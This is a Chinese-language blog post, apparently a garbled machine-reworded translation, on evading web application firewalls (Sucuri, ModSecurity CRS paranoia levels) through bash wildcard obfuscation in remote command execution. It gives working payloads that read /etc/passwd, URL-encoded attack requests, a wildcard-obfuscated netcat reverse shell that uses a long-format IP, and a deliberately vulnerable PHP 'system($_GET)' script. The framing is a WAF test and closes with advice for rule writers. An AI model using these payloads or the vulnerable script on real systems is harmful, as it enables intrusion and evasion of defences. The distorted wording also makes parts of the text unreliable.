首页 » 网站推广 » phpurl禁用echo技巧_Bypass Waf 的技巧一

phpurl禁用echo技巧_Bypass Waf 的技巧一

访客 2024-11-17 0

扫一扫用手机浏览

文章目录 [+]

/???/??t /???/??ss??

读取你的passwd文件。
享受Sucuri WAF,ModSecurity,Paranoia等等waf带来的的乐趣......

ps:mac上彷佛不太行,按道理该当也可以啊。

phpurl禁用echo技巧_Bypass Waf 的技巧一

在Web运用程序中创造远程命令实行漏洞并不是很少见,并且OWASP Top 10-2017将sql inject置于第一个位置:

phpurl禁用echo技巧_Bypass Waf 的技巧一
(图片来自网络侵删)

当不受信赖的数据作为命令或查询的一部分发送到阐明器时,就会发生注入,例如SQL,NoSQL,OS和LDAP注入。
攻击者的恶意数据可以欺骗阐明器在没有适当授权的情形下实行非预期的命令或访问数据。

所有当代Web运用程序防火墙都能够拦截(乃至阻挡)RCE考试测验,但是当它发生在Linux系统中时,我们有很多方法可以躲避WAF规则集。
渗透测试职员最好的朋友不是狗......它的名字是通配符。
在开始做WAPT之前,我想见告你一些你可能不理解bash和通配符的事情。

关于通配符你不知道的事

各种命令行实用程序利用Bash标准通配符(也称为通配模式)来处理多个文件。
有关标准通配符的更多信息,请通过键入参考手书页man 7 glob。
不是每个人都知道有很多bash语法使你能够利用问号?,正斜杠/,数字和字母来实行系统命令。
您乃至可以利用相同数量的字符列举文件并获取其内容。
怎么样?我举几个例子:实行ls命令,您可以利用以下语法:

利用这种语法,您可以实行基本上所需的统统。
比方说,你的薄弱的目标是一个Web运用防火墙的后面,这WAF有一个规则,包含块的所有要求/etc/passwd或/bin/ls GET参数的值内或身体内部的POST要求。
如果你试图提出一个要求,/?cmd=cat+/etc/passwd它会被目标WAF阻挡,你的IP将被永久禁止并被标记为另一个f in'redteamer'。
但是你的口袋里有一个叫做通配符的秘密武器。
如果你很幸运(不太幸运,我们后面会说到),目标WAF没有足够的严格,来阻挡像?和/在查询字符串中。
因此,您可以轻松地发出您的要求(网址编码),如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

正如您在上面的屏幕截图中看到的那样,有3个缺点/bin/cat :是一个目录。
发生这种情形是由于/???/??t可以通过整合过程转换到/bin/cat或者/dev/net,/etc/apt 等等....

问号通配符仅代表一个可以是任何字符的字符。
因此,如果您知道文件名的一部分而不是一个字母,那么您可以利用此通配符。
例如ls .???,列出当前目录中扩展名为3个字符的所有文件。
因此,将列出具有.gif,.jpg,.txt等扩展名的文件。

利用此通配符,您可以利用netcat实行反向shell。
假设您须要在端口1337(常日nc -e /bin/bash 127.0.0.1 1337)实行反向shell到127.0.0.1 ,您可以利用以下语法实行此操作:/???/n? -e /???/b??h 2130706433 1337

以long格式(2130706433)转换IP地址127.0.0.1,可以避免在HTTP要求中利用.字符。

在我的kali中我须要利用nc.traditional而不是nc没有-e参数,以便/bin/bash在连接后实行。
payload变成这样:

/???/?c.??????????? -e /???/b??h 2130706433 1337

下面我们刚刚看到的两个命令的一些择要:

标准:/bin/nc 127.0.0.1 1337 bypass:/???/n? 2130706433 1337 利用的字符:/ ? n [0-9]标准:/bin/cat /etc/passwdbypass:/???/??t /???/??ss??利用的字符:/ ? t s为什么用?而不是,由于星号()被广泛用于注释语法(类似/嘿,我是注释/),许多WAF阻挡它以避免SQL注入...类似于UNION + SELECT + 1,2,3 /

利用echo?列举文件和目录?是的你可以。
该echo命令可以利用通配符列举文件系统上的文件和目录。
例如echo //ss

这可以在RCE上利用,以便在目标系统上获取文件和目录,例如:

但是为什么利用通配符(特殊是问号)可以躲避WAF规则集?让我先从Sucuri WAF开始吧!

Sucuri WAF bypass

哪种测试WAF规则集的最佳方法是什么?创建天下上最易受攻击的PHP脚本并考试测验所有可能的技能!
在上面的屏幕截图中,我们有:在左上方的窗格中有我丑陋的Web运用程序(它只是一个实行命令的PHP脚本):

<?php echo 'ok: '; print_r($_GET['c']); system($_GET['c']);

在左下方的窗格中,您可以在我的网站上看到由Sucuri WAF(test1.unicresit.it)保护的远程命令实行测试。
正如您所看到的,Sucuri阻挡了我的要求,缘故原由是检测到并阻挡了考试测验的RFI/LFI。
这个缘故原由并不完备精确,但好是WAF阻挡了我的攻击(我乃至不知道为什么防火墙会见告我阻挡要求的缘故原由,但该当有一个情由......)。

右侧窗格是最有趣的,由于它显示相同的要求,但利用问号作为通配符。
结果令人恐怖...... Sucuri WAF接管了要求,我的运用程序实行了我输入c参数的命令。
现在我可以读取/etc/passwd文件乃至更多...我可以阅读运用程序本身的PHP源代码,我可以利用netcat(或者我喜好称之为/???/?c)来实行反向shell ,或者我可以实行类似curl或wget按顺序的程序显示Web做事器的真实IP地址,使我能够通过直接连接到目标来绕过WAF。

我不知道是否会发生这种情形,由于我在Sucuri WAF配置上遗漏了一些内容,但彷佛没有...我已经在Sucuri问过这是否是一种有人参与的行为,以及他们是否配置了默认的低等级以避免缺点,但我还在等待答案。

请记住,我正在利用一个不代表真实场景的屈曲PHP脚本进行此测试。
恕我直言,你不应该根据它阻挡的要求来判断一个WAF,而且Sucuri的安全性并不高,由于它不能完备保护一个故意易受攻击的网站。
做了必要的解释!

ModSecurity OWASP CRS 3.0

我真的很喜好ModSecurity,我认为与Nginx和Nginx连接器一起利用的新libmodsecurity(v3)是我用过的最佳办理方案,用于支配Web运用程序防火墙。
我也是OWASP核心规则集的虔诚粉丝!
我到处都用它但是,如果你不太理解这个规则集,你须要把稳一个叫做爱的鄙吝械..嗯对不起企图症又犯了!

严格模式

您可以在此处找到的以下模式 很好地概述了每个级别如何处理“要求协议逼迫实行”规则。
正如您在PL1中看到的那样,查询字符串只能包含1-255范围内的ASCII字符,并且它会变得更加严格,直到PL4阻挡非常小范围内的非ASCII字符

# -=[ Targets and ASCII Ranges ]=-## 920270: PL1# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 1-255# Example: Full ASCII range without null character## 920271: PL2# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 9,10,13,32-126,128-255# Example: Full visible ASCII range, tab, newline## 920272: PL3# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY# ASCII: 32-36,38-126# Example: Visible lower ASCII range without percent symbol## 920273: PL4# ARGS, ARGS_NAMES and REQUEST_BODY# ASCII: 38,44-46,48-58,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : &## 920274: PL4# REQUEST_HEADERS without User-Agent, Referer, Cookie# ASCII: 32,34,38,42-59,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : & " + / SPACE

让我们对所有级别进行一些测试!

PL0

等级0表示禁用了许多规则,因此我们的payload可以毫无问题地导致远程命令实行,这是绝对正常的。
问题不大,不要慌:)

SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=0"

PL1, PL2

我已将1级和2级分组,由于它们的差异(如上图所示)不会影响我们的目标,所有行为都与下面描述的相同。

SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=1"

利用PL1(和PL2)ModSecurity显然阻挡了我对OS File Access Attempt的要求(930120)。
但是,如果我将问号用作通配符怎么办?该要求被我的WAF通过了:

发生这种情形是由于“问号”,正斜杠和空格都在规则920271和920272的字符范围内。
此外,利用问号代替命令语法使我能够躲避拦截操作系统的常见命令和文件(例如我们的/etc/passwd)。

PL3

这种模式它阻挡包含?等字符的要求超过n次。
事实上,我的要求已被阻挡为元字符非常检测警报 - 重复非字符。
这很酷!
很强的ModSecurity,你赢了一只泰迪熊!
但不幸的是,我的网络运用程序是如此丑陋和易受攻击,我可以利用较少的问号并利用以下语法读取passwd文件:c=/?in/cat+/et?/passw?

正如你所看到的,只利用3个?问号我就bypass了这个级别并读取目标系统内的passwd文件。
好吧,这并不虞味着你必须始终无条件地将你的等级设置为4。
请记住,我正在利用一个非常屈曲的PHP脚本来测试它,这个脚本并不代表真实场景...我希望......你懂的.....

现在每个人都知道42是生命,宇宙和统统的答案。
但是那样:你会bypass PL4的OWASP规则集吗?

PL4

基本上没有,我做不到。
范围之外的所有字符a-z A-Z 0–9都被阻挡!
没办法......相信我,当你须要实行一个命令来读取文件时,有90%的概率你须要一个空格字符或正斜杠.

末了的想法

回到静态HTML页面......这是提高Web运用程序安全性的最快方法!
很难说 避免bypass WAF的最佳配置是什么,或者利用什么waf最好。
恕我直言,我们不应该信赖在Web运用程序上均匀分布的规则集。
实际上,我认为我们该当根据运用程序功能配置我们的WAF规则。

无论如何,当你在ModSecurity上写一个新的SecRule时,请记住,可能有很多方法可以避开你的过滤器/正则表达式。
以是写下来我怎么能躲避这个规则?。

标签:

相关文章

赣州市SEO方法,助力企业互联网营销新篇章

越来越多的企业开始重视网络营销。赣州市作为江西省的一个重要城市,拥有丰富的自然资源和人文景观,吸引了众多企业入驻。为了帮助赣州市企...

网站推广 2025-04-08 阅读1 评论0